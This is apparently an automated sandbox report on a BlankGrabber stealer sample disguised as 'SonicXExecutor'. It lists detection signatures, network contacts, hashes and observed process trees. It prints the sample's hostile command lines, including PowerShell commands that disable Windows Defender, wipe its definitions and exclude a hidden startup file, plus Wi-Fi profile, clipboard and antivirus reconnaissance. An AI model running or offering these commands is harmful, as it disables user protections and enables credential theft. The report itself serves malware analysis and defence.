Malware Analysis Report

2024-10-10 08:27

Sample ID 240603-l89ctacc25
Target SonicXExecutor.rar
SHA256 c8cde42fac963d434bd7a98f5c99d42b4d0f0d90a6f385bc4aaaf77d712769d9
Tags
blankgrabber upx execution spyware stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral4

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral5

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral6

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

c8cde42fac963d434bd7a98f5c99d42b4d0f0d90a6f385bc4aaaf77d712769d9

Threat Level: Known bad

The file SonicXExecutor.rar was found to be: Known bad.

Malicious Activity Summary

blankgrabber upx execution spyware stealer

A stealer written in Python and packaged with Pyinstaller

Blankgrabber family

Command and Scripting Interpreter: PowerShell

Drops file in Drivers directory

Blocklisted process makes network request

UPX packed file

Loads dropped DLL

Executes dropped EXE

Reads user/profile data of web browsers

Legitimate hosting services abused for malware hosting/C2

Accesses cryptocurrency files/wallets, possible credential harvesting

Looks up external IP address via web service

Enumerates physical storage devices

Unsigned PE

cURL User-Agent

Views/modifies file attributes

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Enumerates processes with tasklist

Gathers system information

Detects videocard installed

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-03 10:13

Signatures

A stealer written in Python and packaged with Pyinstaller

Description Indicator Process Target
N/A N/A N/A N/A

Blankgrabber family

blankgrabber

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-03 10:13

Reported

2024-06-03 10:16

Platform

win7-20240508-en

Max time kernel

118s

Max time network

120s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.dll,#1

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\system32\rundll32.exe N/A

cURL User-Agent

Description Indicator Process Target
HTTP User-Agent header curl/8.4.0 N/A N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.dll,#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 github.com udp
GB 20.26.156.215:443 github.com tcp
US 8.8.8.8:53 crl.comodoca.com udp
N/A 127.0.0.1:49190 tcp
US 104.18.38.233:80 crl.comodoca.com tcp

Files

memory/3008-2-0x000007FEF2740000-0x000007FEF4248000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-03 10:13

Reported

2024-06-03 10:16

Platform

win10v2004-20240508-en

Max time kernel

148s

Max time network

152s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.dll,#1

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\system32\rundll32.exe N/A

cURL User-Agent

Description Indicator Process Target
HTTP User-Agent header curl/8.4.0 N/A N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.dll,#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 97.90.14.23.in-addr.arpa udp
N/A 127.0.0.1:57750 tcp
US 8.8.8.8:53 github.com udp
GB 20.26.156.215:443 github.com tcp
US 8.8.8.8:53 73.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 215.156.26.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 23.149.64.172.in-addr.arpa udp
US 8.8.8.8:53 233.38.18.104.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 82.90.14.23.in-addr.arpa udp
US 8.8.8.8:53 22.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 16.173.189.20.in-addr.arpa udp

Files

memory/4732-1-0x00007FF9F7B00000-0x00007FF9F9608000-memory.dmp

Analysis: behavioral3

Detonation Overview

Submitted

2024-06-03 10:13

Reported

2024-06-03 10:16

Platform

win7-20231129-en

Max time kernel

120s

Max time network

121s

Command Line

"C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe"

Signatures

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A

Processes

C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe

"C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe"

C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe

"C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe"

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\_MEI23922\python310.dll

MD5 617c7f358a7744fa767ef52e5224c9ec
SHA1 6b8974308c1a734a5cfab590205d5135c216c54d
SHA256 67ce157f4e61ad163b773fa885620f4fad58793b7ca8b32e4cc38f1e6744b987
SHA512 25d3dc8eacb53284cfe1ef6f932606b6acc90fc5fac3157d6901e5cfa7f2ae8b06d87c73ba10516a43bb4f74c4e8cfd6ce8d3dfa7c65558e4705011288a4136b

memory/3000-23-0x000007FEF61E0000-0x000007FEF6643000-memory.dmp

Analysis: behavioral4

Detonation Overview

Submitted

2024-06-03 10:13

Reported

2024-06-03 10:16

Platform

win10v2004-20240426-en

Max time kernel

91s

Max time network

94s

Command Line

"C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Drops file in Drivers directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Windows\system32\attrib.exe N/A
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe N/A
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Windows\system32\attrib.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\_MEI21962\rar.exe N/A

Reads user/profile data of web browsers

spyware stealer

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A discord.com N/A N/A
N/A discord.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A
N/A ip-api.com N/A N/A

Enumerates physical storage devices

Detects videocard installed

Description Indicator Process Target
N/A N/A C:\Windows\System32\Wbem\WMIC.exe N/A
N/A N/A C:\Windows\System32\Wbem\WMIC.exe N/A
N/A N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Enumerates processes with tasklist

Description Indicator Process Target
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A

Gathers system information

Description Indicator Process Target
N/A N/A C:\Windows\system32\systeminfo.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2196 wrote to memory of 3116 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe
PID 2196 wrote to memory of 3116 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe
PID 3116 wrote to memory of 3836 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 3116 wrote to memory of 3836 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 3116 wrote to memory of 3816 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 3116 wrote to memory of 3816 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 3116 wrote to memory of 3032 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 3116 wrote to memory of 3032 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 3816 wrote to memory of 2164 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3816 wrote to memory of 2164 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3116 wrote to memory of 3600 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 3116 wrote to memory of 3600 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 3836 wrote to memory of 1312 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3836 wrote to memory of 1312 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3032 wrote to memory of 5020 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 3032 wrote to memory of 5020 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 3600 wrote to memory of 3264 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 3600 wrote to memory of 3264 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 3116 wrote to memory of 3812 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 3116 wrote to memory of 3812 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 3812 wrote to memory of 4460 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 3812 wrote to memory of 4460 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 3116 wrote to memory of 500 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 3116 wrote to memory of 500 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 500 wrote to memory of 4040 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 500 wrote to memory of 4040 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 3116 wrote to memory of 1808 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 3116 wrote to memory of 1808 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 1808 wrote to memory of 3856 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 1808 wrote to memory of 3856 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 3116 wrote to memory of 5072 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\System32\Conhost.exe
PID 3116 wrote to memory of 5072 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\System32\Conhost.exe
PID 5072 wrote to memory of 1128 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 5072 wrote to memory of 1128 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 3116 wrote to memory of 2880 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 3116 wrote to memory of 2880 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 2880 wrote to memory of 2856 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2880 wrote to memory of 2856 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3116 wrote to memory of 2920 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 3116 wrote to memory of 2920 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 3116 wrote to memory of 1832 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 3116 wrote to memory of 1832 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 2920 wrote to memory of 4860 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 2920 wrote to memory of 4860 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 1832 wrote to memory of 3796 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 1832 wrote to memory of 3796 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 3116 wrote to memory of 4536 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 3116 wrote to memory of 4536 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 3116 wrote to memory of 4400 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 3116 wrote to memory of 4400 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 3116 wrote to memory of 4644 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 3116 wrote to memory of 4644 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 3116 wrote to memory of 5076 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 3116 wrote to memory of 5076 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 3116 wrote to memory of 2132 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 3116 wrote to memory of 2132 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 3116 wrote to memory of 2416 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 3116 wrote to memory of 2416 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 3116 wrote to memory of 2808 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 3116 wrote to memory of 2808 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 3116 wrote to memory of 1148 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 3116 wrote to memory of 1148 N/A C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe C:\Windows\system32\cmd.exe
PID 4536 wrote to memory of 3468 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 4536 wrote to memory of 3468 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\attrib.exe N/A
N/A N/A C:\Windows\system32\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe

"C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe"

C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe

"C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe'"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe'

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\System32\Wbem\WMIC.exe

wmic csproduct get uuid

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"

C:\Windows\system32\reg.exe

REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"

C:\Windows\system32\reg.exe

REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"

C:\Windows\System32\Wbem\WMIC.exe

wmic path win32_VideoController get name

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"

C:\Windows\System32\Wbem\WMIC.exe

wmic path win32_VideoController get name

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‌   .scr'"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‌   .scr'

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "netsh wlan show profile"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "systeminfo"

C:\Windows\system32\cmd.exe

